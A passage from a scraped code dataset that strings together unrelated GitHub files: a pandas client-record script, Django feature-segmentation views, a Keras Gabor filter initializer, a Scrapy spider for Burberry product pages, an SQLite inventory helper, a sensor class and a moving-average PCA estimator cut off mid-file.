experiments\n","repo_name":"aicenter/Ridesharing_DARP_instances","sub_path":"python/darpinstances/experiments.py","file_name":"experiments.py","file_ext":"py","file_size_in_byte":4719,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"50"} +{"seq_id":"35506223168","text":"import pandas as pd\n\n\ndef alta_cliente():\n try:\n # Cargamos el archivo csv que ya existe\n nombre_archivo = 'datos_clientes.csv'\n df = pd.read_csv(nombre_archivo)\n\n # El usuario agrega datos mediante inputs\n dni = int(input(\"Ingrese el DNI del nuevo cliente: \"))\n nombre = str(input(\"Ingrese el NOMBRE y APELLIDO del nuevo cliente: \"))\n edad = int(input(\"Ingrese la EDAD del nuevo cliente: \"))\n direccion = str(input(\"Ingrese la DIRECCION del nuevo cliente: \"))\n telefono = (input(\"Ingrese su número de TELEFONO: \"))\n email = str(input(\"Ingrese su EMAIL: \"))\n preferente = str(\n input(\"Ingrese si es un cliente preferente, escribir SI O NO: \"))\n\n # Se crea el nuevo registro en forma de diccionario con los nombres de las columnas del dataframe\n nuevo_registro = {'dni': dni, 'nombre': nombre, 'edad': edad, 'direccion': direccion,\n 'telefono': telefono, 'email': email, 'preferente': preferente}\n\n # El registro lo convertimos en un nuevo dataframe\n nuevo_df = pd.DataFrame([nuevo_registro])\n\n # Concatenamos el dataframe que ya existe\n df = pd.concat([df, nuevo_df], ignore_index=True)\n\n # Guardamos el dataframe actualizado en el archivo CSV\n df.to_csv(nombre_archivo, index=False)\n except Exception as e:\n print(\"Error en dar de alta a un cliente:\", e)\n\n\ndef listar_cliente():\n try:\n # Código de la función listar_cliente\n nombre_archivo = 'datos_clientes.csv'\n df = pd.read_csv(nombre_archivo)\n\n buscar_dato = str(\n input(\"Ingrese el nombre del cliente que desea buscar: \"))\n\n resultado = df[df['nombre'] == buscar_dato]\n\n if not resultado.empty:\n print(resultado)\n else:\n print(\n f\"No se encontraron registros para el nombre '{buscar_dato}'.\")\n except Exception as e:\n print(\"Error en mostrar el cliente:\", e)\n\n\ndef eliminar():\n try:\n # Código de la función eliminar\n nombre_archivo = 'datos_clientes.csv'\n df = pd.read_csv(nombre_archivo)\n\n # El usuario selecciona el nombre que desea eliminar\n nombre_eliminar = input(\n \"Ingrese el NOMBRE del cliente que desea eliminar: \")\n\n df = df[df['nombre'] != nombre_eliminar]\n\n df.to_csv(nombre_archivo, index=False)\n except Exception as e:\n print(\"Error en eliminar al cliente:\", e)\n\n\ndef mostrar_nombre_dni():\n try:\n # Código de la función mostrar_nombre_dni\n nombre_archivo = 'datos_clientes.csv'\n df = pd.read_csv(nombre_archivo)\n print(df[['nombre', 'dni']])\n except Exception as e:\n print(\"Error en mostrar el nombre del cliente:\", e)\n\n\ndef mostrar_preferente_nombre_dni():\n try:\n # Código de la función mostrar_preferente_nombre_dni\n nombre_archivo = 'datos_clientes.csv'\n df = pd.read_csv(nombre_archivo)\n clientes_prefentes = df[df['preferente'] == 'si']\n print(clientes_prefentes[['nombre', 'dni']])\n except Exception as e:\n print(\"Error en mostrar al cliente preferente:\", e)\n\n\ndef filtrar_pedros():\n try:\n # Código de la función filtrar_pedros\n nombre_archivo = 'datos_clientes.csv'\n df = pd.read_csv(nombre_archivo)\n personas_pedro = df[df['nombre'].str.lower().str.contains('pedro')]\n print(personas_pedro)\n except Exception as e:\n print(\"no se pudieron mostrar a los pedros:\", e)\n\n\ndef calcular_promedio():\n try:\n # Código de la función calcular_promedio\n datos_clientes = pd.read_csv('datos_clientes.csv')\n promedio_edad = datos_clientes['edad'].mean()\n print(\"El promedio de edad de los clientes es:\", promedio_edad)\n except Exception as e:\n print(\"no se pudo calcular el pronmedio:\", e)\n\n\ndef terminar():\n print(\"¡Gracias por utilizar el programa de cargar clientes, HASTAA LUEGOOOO!!!!!\")\n exit() \n","repo_name":"agluee123/python-abm","sub_path":"funciones.py","file_name":"funciones.py","file_ext":"py","file_size_in_byte":4035,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"28683530478","text":"from django.forms.formsets import BaseFormSet\nfrom django.forms import formset_factory\nfrom django.http.response import HttpResponseBadRequest, HttpResponseRedirect\nfrom django.urls import reverse\nfrom feats.state import FeatureState\n\nfrom feats.django.views import base\n\n\nclass FeatureSegmentFormset(BaseFormSet):\n def validate_and_get_segments(self, feats_app):\n if self.is_valid():\n segment_names = [\n form.cleaned_data['segment'] for form in self.forms\n ]\n segments = [\n feats_app.segments[segment_name]\n for segment_name in segment_names\n ]\n return segments\n return None\n\n\ndef feature_segment_formset(feature_handle, state=None, data=None):\n class FormsetForm(FeatureSegmentForm):\n def __init__(self, *args, **kwargs):\n super().__init__(feature_handle, *args, **kwargs)\n initial = None\n extra = 1\n if state is not None:\n initial = []\n for segment in state.segments:\n extra = 0\n initial.append({\n 'segment': segment.name,\n })\n\n return formset_factory(\n FormsetForm,\n formset=FeatureSegmentFormset,\n extra=extra,\n )(\n initial=initial,\n data=data,\n prefix='segment'\n )\n\n\nclass FeatureSegmentForm(base.Form):\n \"\"\"\n Maps a Segment to a feature. Intended to be used in a Formset\n \"\"\"\n\n def __init__(self, feature_handle, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.fields['segment'] = base.ChoiceField(\n choices=[\n (name, name)\n for name, segment in feature_handle.valid_segments().items()\n ],\n required=True\n )\n\n\nclass SelectorMappingFormset(BaseFormSet):\n def __init__(self, data=None, prefix=None, *args, **kwargs):\n if data is not None:\n data = base.compress_formsets(data, prefix)\n super().__init__(*args, **kwargs, data=data, prefix=prefix)\n\n\ndef selector_mapping_formset(segments, state, data=None):\n class FormsetForm(SelectorMappingForm):\n def __init__(self, *args, **kwargs):\n super().__init__(segments, state.selectors, *args, **kwargs)\n\n initial = None\n extra = 1\n if state is not None:\n initial = []\n for values, selector in state.selector_mapping.items():\n extra = 0\n segment_values = {}\n for segment, value in zip(state.segments, values):\n segment_values['segment[{}]'.format(segment.name)] = value\n initial.append({\n 'segment': segment.name,\n **segment_values,\n })\n\n return formset_factory(\n FormsetForm,\n formset=SelectorMappingFormset,\n extra=extra\n )(\n data=data,\n initial=initial,\n prefix='selector-mapping'\n )\n\n\nclass SelectorMappingForm(base.Form):\n \"\"\"\n Maps a selector to the result of segmentation.\n \"\"\"\n def __init__(self, segments, selectors, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.selectors = selectors\n self.segments = segments\n self.fields['selector'] = base.ChoiceField(\n choices=[\n (i, selector.name)\n for i, selector in enumerate(selectors)\n ],\n required=True\n )\n for segment in segments:\n field = base.CharField(required=True)\n\n if segment.options is not None:\n field = base.ChoiceField(\n choices=[\n (i, opt) for i, opt in enumerate(segment.options)\n ],\n required=True\n )\n\n self.fields['segment[{}]'.format(segment.name)] = field\n\n def get_mapping_entry(self):\n \"\"\"\n Converts this form's cleaned_data to a k/v tuple\n mapping a segment to a selector\n \"\"\"\n selector_index = int(self.cleaned_data['selector'])\n segment_values = []\n for segment in self.segments:\n segment_values.append(self.cleaned_data['segment[{}]'.format(segment.name)])\n return tuple(segment_values), self.selectors[selector_index]\n\n\nclass ChangeMapping(base.TemplateView):\n template_name = \"feats/segmentation/change_mapping.html\"\n\n def get_segment_formset(self, feature):\n return feature_segment_formset(feature, data=self.request.GET)\n\n def get_mapping_formset(self, segments, state, data=None):\n return selector_mapping_formset(segments, state, data=data)\n\n @property\n def feature(self):\n return self.feats_app.features[self.args[0]]\n\n def get_context_data(self):\n context = super().get_context_data()\n feature = self.feature\n state = feature.state\n if state is None:\n state = FeatureState.initial(self.request.user.username)\n\n segments = self.get_segment_formset(feature).validate_and_get_segments(self.feats_app)\n context['feature'] = feature\n context['segment_names'] = [segment.name for segment in segments]\n context['formset'] = self.get_mapping_formset(segments, state)\n return context\n\n def post(self, request, *args, **kwargs):\n feature = self.feature\n state = feature.state\n segments = self.get_segment_formset(feature).validate_and_get_segments(self.feats_app)\n if state is None:\n state = FeatureState.initial(self.request.user.username)\n\n mapping_formset = self.get_mapping_formset(segments, state, request.POST)\n if mapping_formset.is_valid():\n selector_mapping = dict(\n form.get_mapping_entry() for form in mapping_formset\n )\n state = FeatureState(\n segments=segments,\n selectors=state.selectors,\n selector_mapping=selector_mapping,\n created_by=self.request.user.username\n )\n self.feature.state = state\n return HttpResponseRedirect(\n reverse('feats:detail', args=self.args)\n )\n\n return HttpResponseBadRequest()\n\n\nclass ChangeSegmentation(base.TemplateView):\n \"\"\"\n Changes how a Feature is Segmented and how selectors map to those segments.\n\n Updating segmentation resets any selector mappings, so this form is done in\n two steps\n The first form submits through a GET to mapping url with the segments.\n This does not save any data to the database.\n The next form submits through a POST to mapping url with the segments and mappings.\n This creates a new feature state and persists it.\n\n We update both segmentation and mapping in the same POST, as the alternative\n is to delete all mappings when segmentation is updated.\n \"\"\"\n template_name = 'feats/segmentation/change_segments.html'\n\n @property\n def feature(self):\n return self.feats_app.features[self.args[0]]\n\n def get_formset(self, feature, state):\n return feature_segment_formset(feature, state=state)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n feature = self.feature\n state = feature.state\n if state is None:\n state = FeatureState.initial(\n self.request.user.username\n )\n segment_formset = self.get_formset(feature, state)\n context['formset'] = segment_formset\n context['feature'] = feature\n return context\n","repo_name":"roverdotcom/feats.py","sub_path":"feats/django/views/segmentation.py","file_name":"segmentation.py","file_ext":"py","file_size_in_byte":7613,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"13925343013","text":"from __future__ import unicode_literals\nimport frappe\nfrom frappe import _\nfrom erpnext.accounts.utils import get_balance_on\n\ndef execute(filters=None):\n\tfilters = frappe._dict(filters or {})\n\tcolumns = get_columns(filters)\n\tdata = get_data(filters)\n\treturn columns, data\n\ndef get_columns(filters):\n\tcolumns = [\n\t\t\t\t{\n\t\t\t\"label\": _(\"Name\"),\n\t\t},\n\t\t{\n\t\t\t\"label\": _(\"Buyer Name\"),\n\t\t},\n\t\t{\n\t\t\t\"label\": _(\"Bank\"),\n\t\t}\n\t]\n\n\treturn columns\n\ndef get_conditions(filters):\n\tconditions = {}\n\n\tif filters.account_type:\n\t\tconditions[\"account_type\"] = filters.account_type\n\t\treturn conditions\n\n\tif filters.company:\n\t\tconditions[\"company\"] = filters.company\n\n\tif filters.root_type:\n\t\tconditions[\"root_type\"] = filters.root_type\n\n\treturn conditions\n\ndef get_data(filters):\n\tdata = []\n\t# conditions = get_conditions(filters)\n\n\t# buyer = frappe.db.get_all(\"Buyers\", fields=[\"name\",\"buyer_name\"])\n\temp = frappe.db.sql(\"\"\"select name, buyer_name,bank from tabBuyers \"\"\" , as_list=1)\n\t# buyer = frappe.db.sql_list(\"select name, buyer_name from tabBuyers\")\n\t# for d in emp:\n\t# \t# balance = get_balance_on(d.name, date=filters.report_date)\n\t# \trow = {\"buyer_name\": d.buyer_name}\n\t# \tdata.append(row)\n\treturn emp","repo_name":"moshiurmubin/ICS_cashflow","sub_path":"report/cf_report/cf_report.py","file_name":"cf_report.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72055475356","text":"import numpy as np\nimport keras.backend as K\nfrom keras.initializers import Initializer\n\n# Membuat filter gabor\ndef gaborFilter(size, lambd, theta, psi, sigma, gamma):\n gabor = np.zeros(shape = size)\n half_height = int(size[1] / 2)\n half_width = int(size[0] / 2)\n \n for y in range(-half_height, half_height if size[1] % 2 == 0 else half_height + 1):\n for x in range(-half_width, half_width if size[0] % 2 == 0 else half_width + 1):\n x_aksen = x * np.cos(theta) + y * np.sin(theta)\n y_aksen = -x * np.sin(theta) + y * np.cos(theta)\n gabor[y + half_height][x + half_width] = np.exp(-(x_aksen ** 2 + ((gamma ** 2) * (y_aksen ** 2))) / (2 * (sigma ** 2))) * np.cos((((2 * np.pi * x_aksen) / lambd) + psi))\n\n return gabor\n\nclass GaborParams():\n\n def getParams(self, shape, i, j):\n raise NotImplementedError\n\nclass RotatedGaborParams(GaborParams):\n\n def __init__(self, lambd, sigma, psi, gamma):\n self.lambd = lambd\n self.sigma = sigma\n self.psi = psi,\n self.gamma = gamma\n\n def getParams(self, shape, i, j):\n multiplier = 360 / shape[3]\n degree = i * multiplier\n theta = degree * np.pi / 180\n \n return self.lambd, theta, self.psi, self.sigma, self.gamma\n\nclass IterateChannelParams(GaborParams):\n \n def __init__(self, lambd, sigma, gamma):\n self.lambd = lambd\n self.sigma = sigma\n self.gamma = gammba\n\n def getParams(self, shape, i, j):\n multiplier = 360 / shape[3]\n degree = multiplier * i\n num_channel = shape[2]\n \n i += 1\n j += 1\n ratio = j / num_channel\n \n lambd = np.linspace(self.lambd[0], self.lambd[1], num_channel)[j - 1]\n theta = degree * np.pi / 180\n psi = j\n sigma = np.linspace(self.sigma[0], self.sigma[1], num_channel)[j - 1]\n gamma = np.linspace(self.gamma[0], self.gamma[1], num_channel)[j - 1]\n \n return lambd, theta, psi, sigma, gamma\n\nclass ChannelizeGaborParams(GaborParams):\n \n def getParams(self, shape, i, j):\n multiplier = 360 / shape[3]\n degree = multiplier * i\n \n i += 1\n j += 1\n \n lambd = (i * j) / shape[2]\n theta = degree * np.pi / 180\n psi = (i + j) / shape[2]\n sigma = (i + j)\n gamma = (i + j) / shape[2]\n \n return lambd, theta, psi, sigma, gamma\n\nclass RandomGaborParams(GaborParams):\n\n def getParams(self, shape, i, j):\n multiplier = 360 / shape[3]\n degree = multiplier * i\n num_channel = shape[2]\n \n i += 1\n j += 1\n \n lambd = np.random.rand() * num_channel\n theta = degree * np.pi / 180\n psi = np.random.rand() * num_channel\n sigma = np.random.rand() * num_channel\n gamma =np.random.rand() * num_channel\n \n return lambd, theta, psi, sigma, gamma\n\nclass ComplexGaborParams():\n \n def __init__(self, sigma = -1, lambd = -1, gamma = -1, psi = -1, theta = (-1, -1)):\n self.theta = theta\n self.sigma = sigma\n self.lambd = lambd\n self.gamma = gamma\n self.psi = psi\n \n def getParams(self, shape, i, j):\n self.i = i + 1\n self.j = j + 1\n self.shape = shape\n \n theta = self.hitungTheta() * np.pi / 180\n sigma = self.hitungSigma()\n lambd = self.hitungLambda()\n gamma = self.hitungGamma()\n psi = self.hitungPsi()\n \n return lambd, theta, psi, sigma, gamma\n \n def hitungTheta(self):\n start = (360 / self.shape[2]) if self.theta[0] is -1 else self.theta[0]\n end = (360 - (360 / self.shape[2])) if self.theta[1] is -1 else self.theta[1]\n \n rangeTheta = np.linspace(start, end, self.shape[3])\n \n return rangeTheta[self.i - 1]\n \n def hitungSigma(self):\n start = (self.i + 1) if self.sigma is -1 else self.sigma[0]\n end = (self.i + self.j) if self.sigma is -1 else self.sigma[1]\n \n rangeSigma = np.linspace(start, end, self.shape[2])\n \n return rangeSigma[self.j - 1]\n \n def hitungLambda(self):\n start = ((self.i + 1) / self.shape[2]) if self.lambd is -1 else self.lambd[0]\n end = (self.i * self.j / self.shape[2]) if self.lambd is -1 else self.lambd[1]\n \n rangeLambd = np.linspace(start, end, self.shape[2])\n \n return rangeLambd[self.j - 1]\n \n def hitungGamma(self):\n start = ((self.i + 1) / self.shape[2]) if self.gamma is -1 else self.gamma[0]\n end = ((self.i + self.j) / self.shape[2]) if self.gamma is -1 else self.gamma[1]\n \n rangeGamma = np.linspace(start, end, self.shape[2])\n \n return rangeGamma[self.j - 1]\n \n def hitungPsi(self):\n start = (self.i + 1) if self.psi is -1 else self.psi[0]\n end = (self.i + self.j) if self.psi is -1 else self.psi[1]\n \n rangePsi = np.linspace(start, end, self.shape[2])\n \n return rangePsi[self.j - 1]\n\n# Mendapatkan filter gabor dalam jumlah yang besar\n# untuk digunakan sebagai kernel pada CNN\nclass GaborFilterBanks(Initializer):\n\n def __init__(self, gabor_params):\n self.gabor_params = gabor_params\n \n def getFilterBanks(self, shape):\n all_kernels = []\n \n # Membuat sejumlah kernel yang diinginkan\n for i in range(shape[3]):\n kernels = []\n \n # Membuat sejumlah channel\n for j in range(shape[2]):\n lambd, theta, psi, sigma, gamma = self.gabor_params.getParams(shape, i, j)\n \n kernels.append(\n gaborFilter(\n size = (shape[0], shape[1]), \n sigma = sigma,\n theta = theta,\n lambd = lambd,\n gamma = gamma,\n psi = psi\n )\n )\n \n all_kernels.append(np.array(kernels))\n \n all_kernels = np.array(all_kernels).T\n \n return all_kernels\n\n def __call__(self, shape, dtype = None):\n all_kernels = self.getFilterBanks(shape)\n \n kernel = K.variable(all_kernels, dtype = dtype)\n\n return kernel\n ","repo_name":"BagasMuharom/CBIR-CNN-SVM","sub_path":"packages/Utility/Gabor.py","file_name":"Gabor.py","file_ext":"py","file_size_in_byte":6366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"3777880297","text":"\"\"\"\n Author : HuZhibin\n 博柏利\n\"\"\"\nfrom scrapy import Request\nfrom scrapy.http import Response\nfrom scrapy.spiders import SitemapSpider\n\nfrom ..items import SKU\n\n\nclass SitemapTemplateSpider(SitemapSpider):\n name = 'burberry_cn'\n brand_name = 'burberry_cn'\n allowed_domains = ['burberry.cn', 'burberry.com']\n sitemap_urls = ['https://cn.burberry.com/sitemap-cn.xml']\n sitemap_rules = [\n (r'/[-\\w]+-p[\\d]+', 'parse_sku'),\n ]\n\n def parse_sku(self, response: Response):\n attrs = []\n image_urls = []\n\n name = response.css('h1.product-purchase_name::text').get()\n\n price_cny = response.css('span.product-purchase_price::text').get().strip('¥').replace(',', '')\n price = {\n 'cny': float(price_cny),\n }\n\n color = response.css('li[data-type=\"colour\"] span.product-purchase_selected::text').get()\n attrs.append({\n 'name': '颜色',\n 'value': color,\n })\n\n # 爬取其他颜色\n other_color_urls = [self.base_url + item.attrib['href'] for item in\n response.css('li[data-type=\"colour\"] div.product-purchase_options-labels a')]\n for url in other_color_urls:\n yield Request(url, callback=self.parse_sku)\n\n description = response.css('div.accordion-tab_content p::text').get()\n\n attrs_in_page = response.css('div.accordion-tab_sub-item li::text').getall()\n for attr in attrs_in_page:\n parts = attr.split(':', 1)\n n = '参数'\n v = parts[0]\n if len(parts) > 1:\n n = parts[0]\n v = parts[1]\n attrs.append({\n 'name': n,\n 'value': v,\n })\n\n if response.css('span[data-label=\"选择尺码\"]').get() is not None:\n sizes = response.css('li[data-type=\"size\"] div.product-purchase_options label::text').getall()\n attrs.append({\n 'name': '尺码',\n 'value': ','.join(sizes)\n })\n\n image_elements = response.css('div.product-carousel_item noscript picture img')\n image_urls = ['https://' + (item.attrib['src'].strip('//')) for item in image_elements]\n\n code = response.css('p.accordion-tab_item-number::text').get().strip(\"商品 \")\n\n sku = SKU(self.brand_name, '', '', code, name, response.url, price, description, image_urls, attrs)\n\n yield sku\n","repo_name":"Houtian17/Learn","sub_path":"Python/spiders/burberry_cn.py","file_name":"burberry_cn.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"33777591548","text":"import sqlite3\nimport random\nimport os\n\n\ndef get_inventory():\n\n conn = sqlite3.connect('inventory.db')\n cursor = conn.execute(\"SELECT * FROM inventory\")\n table = cursor.fetchall()\n conn.close()\n print(table)\n return table\n\n\ndef add_item_sql(name, quantity):\n\n conn = sqlite3.connect('inventory.db')\n\n cursor = conn.execute(\"SELECT * FROM inventory\")\n\n sr_no = cursor.fetchall()[-1][0] + 1\n\n cursor = conn.execute(\n f\"INSERT INTO inventory values ({sr_no}, '{name}', {quantity}) \")\n # print(cursor.fetchall())\n conn.commit()\n conn.close()\n\n\ndef write_transcation(values):\n for row in values:\n conn = sqlite3.connect('inventory.db')\n\n cursor = conn.execute(\n f\"UPDATE INVENTORY SET quantity = quantity - {row[1]} WHERE name='{row[0]}'\")\n\n conn.commit()\n conn.close()\n\n t_id = 0\n\n while(True):\n t_id = random.randrange(1000, 9999)\n if not os.path.exists(f\"transactions/{t_id}\"):\n break\n\n with open(f\"transactions/{t_id}\", \"w\") as transaction:\n transaction.write(str(values))\n return t_id\n","repo_name":"parthiv25/Final-Project","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"6984656199","text":"import json\nimport requests\nimport aiohttp\n\nfrom .BaseSubsystem import BaseSubsystem\nfrom .BaseSensor import BaseSensor\n\n\nclass Temp(BaseSubsystem, BaseSensor):\n\n current_temp = None\n\n def __init__(self, long_name, short_name, io_uri):\n self.long_name = long_name\n self.short_name = short_name\n self.io_uri = io_uri\n\n def print_config(self):\n print(\"long name:\", self.long_name)\n print(\"short name:\", self.short_name)\n print(\"io_uri:\", self.io_uri)\n\n def export_dict(self):\n data = {}\n data['long_name'] = self.long_name\n data['short_name'] = self.short_name\n data['current_temp'] = self.get_temp()\n return data\n\n def print_status(self):\n print(self.get_status())\n\n def get_status(self):\n return(self.short_name + \" currently: \" +\n str(round(self.get_temp(), 1)))\n\n async def _arefresh_value(self):\n async with aiohttp.ClientSession() as sess:\n async with sess.get(self.io_uri) as r:\n body = await r.text()\n data = json.loads(body)\n self.current_temp = data['temp']\n\n def _refresh_value(self):\n # print(\"getting temp from url: \" + self.io_uri)\n try:\n r = requests.get(self.io_uri)\n data = json.loads(r.content.decode('utf-8'))\n # print(\"return data: \" + str(data))\n self.current_temp = data['temp']\n except requests.exceptions.ConnectionError:\n self.current_temp = None\n return self.current_temp\n\n def get_temp(self):\n return self.current_temp\n","repo_name":"justinb4003/piggy","sub_path":"src/subsystem/Temp.py","file_name":"Temp.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10700910029","text":"import logging\n\nimport nibabel as nib\nimport numpy as np\nfrom nilearn._utils import check_niimg_3d, check_niimg_4d\nfrom scipy.stats import kurtosis\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\n\nfrom . import utils\n\nLGR = logging.getLogger(__name__)\n\n\nclass MovingAveragePCA:\n \"\"\"Scikit-learn-style moving-average PCA estimator.\n\n The moving-average method estimates the underlying dimensionality\n of the data, after which a standard sklearn PCA is used to perform\n the decomposition.\n\n Parameters\n ----------\n criterion : {'mdl', 'aic', 'kic'}, optional\n Criterion used to select the number of components. Default is \"mdl\".\n ``mdl`` refers to Minimum Description Length, which is the most aggressive\n (and recommended) option.\n ``aic`` refers to the Akaike Information Criterion, which is the least aggressive option.\n ``kic`` refers to the Kullback-Leibler Information Criterion, which is the middle option.\n normalize : bool, optional\n Whether to normalize (zero mean and unit standard deviation) or not. Default is False.\n\n Attributes\n ----------\n components_ : :obj:`numpy.ndarray`, shape (n_components, n_features)\n Principal axes in feature space, representing the directions of maximum\n variance in the data. The components are sorted by explained_variance_.\n u_ : :obj:`numpy.ndarray`, shape (n_components, n_mask)\n Component weight maps, limited to voxels in the mask.\n u_nii_ : 4D nibabel.nifti1.Nifti1Image\n Component weight maps, stored as a 4D niimg.\n explained_variance_ : :obj:`numpy.ndarray`, shape (n_components,)\n The amount of variance explained by each of the selected components.\n\n Equal to n_components largest eigenvalues of the covariance matrix of X.\n explained_variance_ratio_ : :obj:`numpy.ndarray`, shape (n_components,)\n Percentage of variance explained by each of the selected components.\n\n If n_components is not set then all components are stored and the sum of the\n ratios is equal to 1.0.\n singular_values_ : :obj:`numpy.ndarray`, shape (n_components,)\n The singular values corresponding to each of the selected components.\n The singular values are equal to the 2-norms of the n_components\n variables in the lower-dimensional space.\n mean_ : :obj:`numpy.ndarray`, shape (n_features,)\n Per-feature empirical mean, estimated from the training set.\n\n Equal to X.mean(axis=0).\n n_components_ : int\n The estimated number of components.\n When n_components is set to ‘mle’ or a number between 0 and 1\n (with svd_solver == ‘full’) this number is estimated from input data.\n Otherwise it equals the parameter n_components, or the lesser value of\n n_features and n_samples if n_components is None.\n n_features_ : int\n Number of features in the training data.\n n_samples_ : int\n Number of samples in the training data\n aic_ : dict\n Dictionary containing the Akaike Information Criterion results:\n - 'n_components': The number of components chosen by the AIC criterion.\n - 'value': The AIC curve values.\n - 'explained_variance_total': The total explained variance of the components.\n kic_ : dict\n Dictionary containing the Kullback-Leibler Information Criterion results:\n - 'n_components': The number of components chosen by the KIC criterion.\n - 'value': The KIC curve values.\n - 'explained_variance_total': The total explained variance of the components.\n mdl_ : dict\n Dictionary containing the Minimum Description Length results:\n - 'n_components': The number of components chosen by the MDL criterion.\n - 'value': The MDL curve values.\n - 'explained_variance_total': The total explained variance of the components.\n varexp_90_ : dict\n Dictionary containing the 90% variance explained results:\n - 'n_components': The number of components chosen by the 90% variance explained\n criterion.\n - 'explained_variance_total': The total explained variance of the components.\n varexp_95_ : dict\n Dictionary containing the 95% variance explained results:\n - 'n_components': The number of components chosen by the 95% variance explained\n criterion.\n - 'explained_variance_total': The total explained variance of the components.\n all_ : dict\n Dictionary containing the results for all possible components:\n - 'n_components': Total number of possible components.\n - 'explained_variance_total': The total explained variance of the components.\n\n References\n ----------\n * Li, Y. O., Adali, T., & Calhoun, V. D. (2007). Estimating the number of\n independent components for functional magnetic resonance imaging data.\n Human Brain Mapping, 28(11), 1251–1266. https://doi.org/10.1002/hbm.20359\n\n Translated from the MATLAB code available in GIFT. https://trendscenter.org/software/gift/\n \"\"\"\n\n def __init__(self, criterion=\"mdl\", normalize=True):\n self.criterion = criterion\n self.normalize = normalize\n\n def _fit(self, img, mask, subsample_depth=None):\n LGR.info(\n \"Performing dimensionality reduction based on GIFT \"\n \"(https://trendscenter.org/software/gift/) and Li, Y. O., Adali, T., \"\n \"& Calhoun, V. D. (2007). Estimating the number of independent components \"\n \"for functional magnetic resonance imaging data. Human Brain Mapping, 28(11), \"\n \"1251–1266. https://doi.org/10.1002/hbm.20359\"\n )\n\n img = check_niimg_4d(img)\n mask = check_niimg_3d(mask)\n data = img.get_fdata()\n mask = mask.get_fdata()\n\n [n_x, n_y, n_z, n_timepoints] = data.shape\n data_nib_V = np.reshape(data, (n_x * n_y * n_z, n_timepoints), order=\"F\")\n mask_vec = np.reshape(mask, n_x * n_y * n_z, order=\"F\")\n X = data_nib_V[mask_vec == 1, :]\n\n n_samples = np.sum(mask_vec)\n\n self.scaler_ = StandardScaler(with_mean=True, with_std=True)\n if self.normalize:\n # TODO: determine if tedana is already normalizing before this\n X = self.scaler_.fit_transform(X.T).T # This was X_sc\n # X = ((X.T - X.T.mean(axis=0)) / X.T.std(axis=0)).T\n\n LGR.info(\"Performing SVD on original data...\")\n V, eigenvalues = utils._icatb_svd(X, n_timepoints)\n LGR.info(\"SVD done on original data\")\n\n # Reordering of values\n eigenvalues = eigenvalues[::-1]\n dataN = np.dot(X, V[:, ::-1])\n # Potentially the small differences come from the different signs on V\n\n # Using 12 gaussian components from middle, top and bottom gaussian\n # components to determine the subsampling depth.\n # Final subsampling depth is determined using median\n kurt = kurtosis(dataN, axis=0, fisher=True)\n kurt[kurt < 0] = 0\n kurt = np.expand_dims(kurt, 1)\n\n kurt[eigenvalues > np.mean(eigenvalues)] = 1000\n idx_gauss = np.where(\n ((kurt[:, 0] < 0.3) & (kurt[:, 0] > 0) & (eigenvalues > np.finfo(float).eps)) == 1\n )[\n 0\n ] # NOTE: make sure np.where is giving us just one tuple\n idx = np.array(idx_gauss[:]).T\n dfs = np.sum(eigenvalues > np.finfo(float).eps) # degrees of freedom\n minTp = 12\n\n if len(idx) >= minTp:\n middle = int(np.round(len(idx) / 2))\n idx = np.hstack([idx[0:4], idx[middle - 1 : middle + 3], idx[-4:]])\n else:\n minTp = np.min([minTp, dfs])\n idx = np.arange(dfs - minTp, dfs)\n\n idx = np.unique(idx)\n\n # Estimate the subsampling depth for effectively i.i.d. samples\n LGR.info(\"Estimating the subsampling depth for effective i.i.d samples...\")\n mask_ND = np.reshape(mask_vec, (n_x, n_y, n_z), order=\"F\")\n sub_depth = len(idx)\n sub_iid_sp = np.zeros((sub_depth,))\n for i in range(sub_depth):\n x_single = np.zeros(n_x * n_y * n_z)\n x_single[mask_vec == 1] = dataN[:, idx[i]]\n x_single = np.reshape(x_single, (n_x, n_y, n_z), order=\"F\")\n sub_iid_sp[i] = utils._est_indp_sp(x_single)[0] + 1\n if i > 6:\n tmp_sub_sp = sub_iid_sp[0:i]\n tmp_sub_median = np.round(np.median(tmp_sub_sp))\n if np.sum(tmp_sub_sp == tmp_sub_median) > 6:\n sub_iid_sp = tmp_sub_sp\n break\n dim_n = x_single.ndim\n\n sub_iid_sp_median = int(np.round(np.median(sub_iid_sp)))\n\n # Will log the mean value to check if the differences in median within a dataset\n # represent very small changes in the mean. It seems like this is the closest\n # to a non-discrete value to store to compare across runs.\n sub_iid_sp_mean = np.round(np.mean(sub_iid_sp), 3)\n\n if np.floor(np.power(n_samples / n_timepoints, 1 / dim_n)) < sub_iid_sp_median:\n LGR.info(\n \"Subsampling IID depth estimate too high. Subsampling depth will \"\n \"be defined by number of datapoints rather than IID estimates.\"\n )\n sub_iid_sp_median = int(np.floor(np.power(n_samples / n_timepoints, 1 / dim_n)))\n\n LGR.info(\"Estimated subsampling depth for effective i.i.d samples: %d\" % sub_iid_sp_median)\n\n # Always save the calculated IID subsample value, but, if there is a user provide value,\n # assign that to sub_iid_sp_median and use that instead\n calculated_sub_iid_sp_median = sub_iid_sp_median\n if subsample_depth:\n if (\n (\n isinstance(subsample_depth, int)\n or (\n isinstance(subsample_depth, float)\n and subsample_depth == int(subsample_depth)\n )\n )\n and (1 <= subsample_depth)\n and ((n_samples / (subsample_depth**3)) >= 100)\n ):\n sub_iid_sp_median = subsample_depth\n\n else:\n # The logic of the upper bound is subsample_depth^3 is the fraction of 